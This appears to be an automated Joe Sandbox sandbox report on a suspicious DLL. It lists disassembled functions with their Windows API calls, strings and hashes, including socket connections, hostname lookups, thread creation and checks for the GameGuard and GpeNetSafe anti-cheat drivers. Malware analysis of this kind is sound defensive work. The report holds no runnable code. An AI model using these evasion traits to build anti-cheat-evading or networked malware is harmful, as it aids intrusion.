Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: ConvertDefaultLocale$Module$AddressHandleProc$EnumFileH_prolog3_LanguagesNameResource_memset
String ID: GetSystemDefaultUILanguage$GetUserDefaultUILanguage$kernel32.dll$ntdll.dll
API String ID: 3537336938-2299501126
Opcode ID: 1ce14a8201f075e81b4a64a1244e47c692a660af15ff89d4a33f9628c0073e52
Instruction ID: 268ff0e5f0e8a4dde64ebc4166e8426aec2d25ec7b28325f1142d33db265b5cc
Opcode Fuzzy Hash: 1ce14a8201f075e81b4a64a1244e47c692a660af15ff89d4a33f9628c0073e52
Instruction Fuzzy Hash: 75515BB1D042289BCB74DF69DC447EEBAF4AB49300F0142EAE548E3281DB759E81CF94

Function 6A048E50 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 164
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 6A048E86
_memset.LIBCMT ref: 6A048EA3
_memset.LIBCMT ref: 6A048EC0
WSAStartup.WS2_32(00000202,?), ref: 6A048ED2
gethostname.WS2_32(?,00000104), ref: 6A048EE9
__strlwr.LIBCMT ref: 6A048EFC
__strlwr.LIBCMT ref: 6A048F19
WSACleanup.WS2_32 ref: 6A048F32
_memset.LIBCMT ref: 6A048F79
_memset.LIBCMT ref: 6A048F96
_memset.LIBCMT ref: 6A049007
_sprintf.LIBCMT ref: 6A049024
CreateFileA.KERNEL32(?,00000000,00000003,00000000,00000003,00000080,00000000), ref: 6A049050
CloseHandle.KERNEL32(00000000), ref: 6A04905C

Strings

\\.\%s, xrefs: 6A04901E

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: _memset$__strlwr$CleanupCloseCreateFileHandleStartup_sprintfgethostname
String ID: \\.\%s
API String ID: 2340954306-869905501
Opcode ID: ce0fa27738cb708437e8d179c2eb1f09e26ed2b319593d5c609d7f782779a0b7
Instruction ID: 7ee112bc98a5923560fd8613f854522e21d164c1947eb19197e7e08a233e5ed9
Opcode Fuzzy Hash: ce0fa27738cb708437e8d179c2eb1f09e26ed2b319593d5c609d7f782779a0b7
Instruction Fuzzy Hash: AB51F7B2509340AFE270D764AC99FDBB7DDAB96308F00492DE599C3081EF74961C8B93

Function 6A051240 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 288
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 6A051251

Part of subcall function 6A07ED6C: __FF_MSGBANNER.LIBCMT ref: 6A07ED8F
Part of subcall function 6A07ED6C: __NMSG_WRITE.LIBCMT ref: 6A07ED96
Part of subcall function 6A07ED6C: RtlAllocateHeap.NTDLL(00000000,?,00000001,00000000,00000000,?,6A088DFF,?,00000001,?,?,6A087CE7,00000018,6A0A8F08,0000000C,6A087D78), ref: 6A07EDE3

_memset.LIBCMT ref: 6A051271
__time64.LIBCMT ref: 6A05127B
_rand.LIBCMT ref: 6A05128C
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?), ref: 6A0512AB
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?), ref: 6A0512BB
Sleep.KERNEL32(00000032,?,?,?,?,?,?,?,?,?), ref: 6A051314
WaitForMultipleObjects.KERNEL32(00000002,?,00000001,00002710,?,?,?,?,?,?,?,?,?), ref: 6A051348

Strings

v, xrefs: 6A051476

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: CreateEvent$AllocateHeapMultipleObjectsSleepWait__time64_malloc_memset_rand
String ID: v
API String ID: 2331941488-1801730948
Opcode ID: 36ed1c20e053b4f529e301df7e0fe56b33c03e32663807e0b7271c3706b30c58
Instruction ID: 2dd560dc5967ec947db34cf5668c1112b1a8c6826a029ecd3cdbf614832b5bc2
Opcode Fuzzy Hash: 36ed1c20e053b4f529e301df7e0fe56b33c03e32663807e0b7271c3706b30c58
Instruction Fuzzy Hash: 1CC1F2B46083019FD308DF18C980B1ABBE5FF89754F11896DF899873A0DB70E955CBA6

Function 6A075988 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 122
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(?,?,00000104,?,?,00000000), ref: 6A0759C5
PathFindExtensionA.SHLWAPI(?), ref: 6A0759DF
__strdup.LIBCMT ref: 6A075A27
__strdup.LIBCMT ref: 6A075A66
__strdup.LIBCMT ref: 6A075AAD
_strcat_s.LIBCMT ref: 6A075ADA
__strdup.LIBCMT ref: 6A075AEC

Strings

.HLP, xrefs: 6A075A92
.CHM, xrefs: 6A075A8B
.INI, xrefs: 6A075ACD

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: __strdup$ExtensionFileFindModuleNamePath_strcat_s
String ID: .CHM$.HLP$.INI
API String ID: 1153805871-4017452060
Opcode ID: 5a83bd2cb62b95e6ae47a4072f194369310babbd45405adf933e618300842059
Instruction ID: 01f56f7d674d24fc075214527b64c498db2b7914e697d168b5505cc50757d87c
Opcode Fuzzy Hash: 5a83bd2cb62b95e6ae47a4072f194369310babbd45405adf933e618300842059
Instruction Fuzzy Hash: B5414EB5900319ABDB21DB65CC88BCAB7FCAF04314F0108AAE595D3241EF70EA80CB64

Function 6A064990 Relevance: 17.6, APIs: 3, Strings: 7, Instructions: 61
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32 ref: 6A0649F1
gethostname.WS2_32(?,00000104), ref: 6A064A01
__strlwr.LIBCMT ref: 6A064A0D

Strings

S, xrefs: 6A0649C1
D, xrefs: 6A0649B1
j, xrefs: 6A0649B9
e, xrefs: 6A0649E1
a, xrefs: 6A0649D1
s, xrefs: 6A0649C9
f, xrefs: 6A0649D9

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: Startup__strlwrgethostname
String ID: D$S$a$e$f$j$s
API String ID: 3543222892-4186746316
Opcode ID: 9ef2c0a3af0173a6ff30ebdc34d616300f297921c15c148cdd9d8ab4ef7fa6fe
Instruction ID: d4b35fc8dd44d47a144cc3650c6c4d9fb38ed5fee197103fe2cdc6c8a491dcc1
Opcode Fuzzy Hash: 9ef2c0a3af0173a6ff30ebdc34d616300f297921c15c148cdd9d8ab4ef7fa6fe
Instruction Fuzzy Hash: E1219070A0D7C0AFF332862895247DB7FD45F97308F141599D4D987286EAB689488367

Function 6A04D970 Relevance: 13.6, APIs: 9, Instructions: 116
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

socket.WS2_32(00000002,00000001,00000000), ref: 6A04D995
ioctlsocket.WS2_32 ref: 6A04D9B1
htons.WS2_32(?), ref: 6A04D9E1
inet_addr.WS2_32(?), ref: 6A04DA15
connect.WS2_32(?,?,00000010), ref: 6A04DA30
WSAGetLastError.WS2_32 ref: 6A04DA41
select.WS2_32(?,00000000,?,?,?), ref: 6A04DAA7
__WSAFDIsSet.WS2_32(?,00000001), ref: 6A04DAC8
__WSAFDIsSet.WS2_32(?,?), ref: 6A04DAE1

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: ErrorLastconnecthtonsinet_addrioctlsocketselectsocket
String ID:
API String ID: 1968875722-0
Opcode ID: d3384bd0d0c977fb36a53aa88022c0039e58c45f542432cc3b211e8f1ef9741d
Instruction ID: 0ab97b383f7c99b80bcd824165c7535a0ed2e23e030d95bcdc761b0e4e13116c
Opcode Fuzzy Hash: d3384bd0d0c977fb36a53aa88022c0039e58c45f542432cc3b211e8f1ef9741d
Instruction Fuzzy Hash: 2F411A716083419FEB60CF64C848B9BB7E5FB89304F004A1DF989D7241EB74EA55CB62

Function 6A052100 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 148
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 6A052124

Part of subcall function 6A07ED6C: __FF_MSGBANNER.LIBCMT ref: 6A07ED8F
Part of subcall function 6A07ED6C: __NMSG_WRITE.LIBCMT ref: 6A07ED96
Part of subcall function 6A07ED6C: RtlAllocateHeap.NTDLL(00000000,?,00000001,00000000,00000000,?,6A088DFF,?,00000001,?,?,6A087CE7,00000018,6A0A8F08,0000000C,6A087D78), ref: 6A07EDE3

_memset.LIBCMT ref: 6A052151
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00000000,?,?), ref: 6A052161
WaitForSingleObject.KERNEL32(00000000,00000BB8,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6A0521CB
_malloc.LIBCMT ref: 6A05227E

Strings

%d.%d.%d.%d, xrefs: 6A05224D

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: _malloc$AllocateCreateEventHeapObjectSingleWait_memset
String ID: %d.%d.%d.%d
API String ID: 358140155-3491811756
Opcode ID: ece7eb3d467ee22c02f64964065f4133ef8c9534bfb0466410ca34b8df76c862
Instruction ID: 7eec0e6710e3c663e0911d3be54330b483a141c38e93ca99aded6fb48af480e3
Opcode Fuzzy Hash: ece7eb3d467ee22c02f64964065f4133ef8c9534bfb0466410ca34b8df76c862
Instruction Fuzzy Hash: B75126B1908301AFD314CF28D945B9BBBE4AF9A308F05445DF589CB281DF70D618CBA6

Function 6A045F50 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 160
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6A064AC0: _memset.LIBCMT ref: 6A064AF3
Part of subcall function 6A064AC0: _memset.LIBCMT ref: 6A064B16

_memset.LIBCMT ref: 6A045FD1
_memset.LIBCMT ref: 6A045FE5
GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 6A046046
_strncpy.LIBCMT ref: 6A0460D6
_strncpy.LIBCMT ref: 6A0460F9

Strings

.sys, xrefs: 6A046028

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: _memset$_strncpy$DirectoryWindows
String ID: .sys
API String ID: 4209668992-15676193
Opcode ID: 9a0790a7deac63843e11ee5d2fbc2b357d4746d7823001a5bf0ce484e490bdea
Instruction ID: 2176a76adf6bfeec15982fd3cfe4c1108286c39ea94f8cee0b01e0a853c4dfc9
Opcode Fuzzy Hash: 9a0790a7deac63843e11ee5d2fbc2b357d4746d7823001a5bf0ce484e490bdea
Instruction Fuzzy Hash: CD51C17120C3859FC355DF3894686ABBBE6FFCA300F44896DE4CAC7211EA719949C786

Function 6A07EF37 Relevance: 10.6, APIs: 7, Instructions: 74threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 6A07EF6C
__calloc_crt.LIBCMT ref: 6A07EF78
__getptd.LIBCMT ref: 6A07EF85
CreateThread.KERNEL32(00000000,6A044480,6A07EEC0,00000000,00000004,00000000), ref: 6A07EFAB
ResumeThread.KERNEL32(00000000,?,?,6A041503,6A044480,00000000,00000000), ref: 6A07EFBB
GetLastError.KERNEL32(?,?,6A041503,6A044480,00000000,00000000), ref: 6A07EFC6
__dosmaperr.LIBCMT ref: 6A07EFDE

Part of subcall function 6A082DCA: __getptd_noexit.LIBCMT ref: 6A082DCA

Part of subcall function 6A0824F4: __decode_pointer.LIBCMT ref: 6A0824FF

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: Thread$CreateErrorLastResume___set_flsgetvalue__calloc_crt__decode_pointer__dosmaperr__getptd__getptd_noexit
String ID:
API String ID: 1269668773-0
Opcode ID: 04db5c5b88e11dbe4765b805a6f89decde484142852bd9517b845dd4e7ddf07a
Instruction ID: 274cc569ef2a7495d6168c4cbe64b7cc93c9172b7813be43af36d37a996a34dd
Opcode Fuzzy Hash: 04db5c5b88e11dbe4765b805a6f89decde484142852bd9517b845dd4e7ddf07a
Instruction Fuzzy Hash: 75112BB2906204BFDB206FB99C88B8E7BE4EF46338B220129F124931D1DF71D911867D

Function 6A047510 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 50fileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6A047549
_sprintf.LIBCMT ref: 6A04757A
CreateFileA.KERNEL32(?,00000000,00000003,00000000,00000003,00000080,00000000), ref: 6A047596
CloseHandle.KERNEL32(00000000), ref: 6A0475A2

Strings

\\.\GameGuard, xrefs: 6A04755A
\\.\GpeNetSafe, xrefs: 6A04756B

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: CloseCreateFileHandle_memset_sprintf
String ID: \\.\GameGuard$\\.\GpeNetSafe
API String ID: 1524418005-3021087753
Opcode ID: 1e694d7ab00ec4e25322d81e3187d100d633fef4aaffd783b24ce4bab4f2bf21
Instruction ID: d96998e60e5c081c048cad852a03815cf95bd0d14ec00cf127b64ab0dd3e5075
Opcode Fuzzy Hash: 1e694d7ab00ec4e25322d81e3187d100d633fef4aaffd783b24ce4bab4f2bf21
Instruction Fuzzy Hash: AB01D475A48300BAD620D6249C0AF9A77ECBF56714F804928FAA8DA1C1EFF4D6048392

Function 6A075B0E Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44libraryloaderCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000000,00000000,?,6A06F240,?,00000000,6A09F73D,00000000), ref: 6A075B1C
SetErrorMode.KERNEL32(00000000,?,6A06F240,?,00000000,6A09F73D,00000000), ref: 6A075B24

Part of subcall function 6A0742C0: GetModuleFileNameW.KERNEL32(?,?,00000105,?,?), ref: 6A0742F8
Part of subcall function 6A0742C0: SetLastError.KERNEL32(0000006F), ref: 6A07430F

GetModuleHandleA.KERNEL32(user32.dll,6A06F240,?,00000000,6A09F73D,00000000), ref: 6A075B73
GetProcAddress.KERNEL32(00000000,NotifyWinEvent), ref: 6A075B83

Part of subcall function 6A075988: GetModuleFileNameA.KERNEL32(?,?,00000104,?,?,00000000), ref: 6A0759C5
Part of subcall function 6A075988: PathFindExtensionA.SHLWAPI(?), ref: 6A0759DF
Part of subcall function 6A075988: __strdup.LIBCMT ref: 6A075A27
Part of subcall function 6A075988: __strdup.LIBCMT ref: 6A075A66
Part of subcall function 6A075988: __strdup.LIBCMT ref: 6A075AAD

Strings

NotifyWinEvent, xrefs: 6A075B7D
user32.dll, xrefs: 6A075B6E

Memory Dump Source

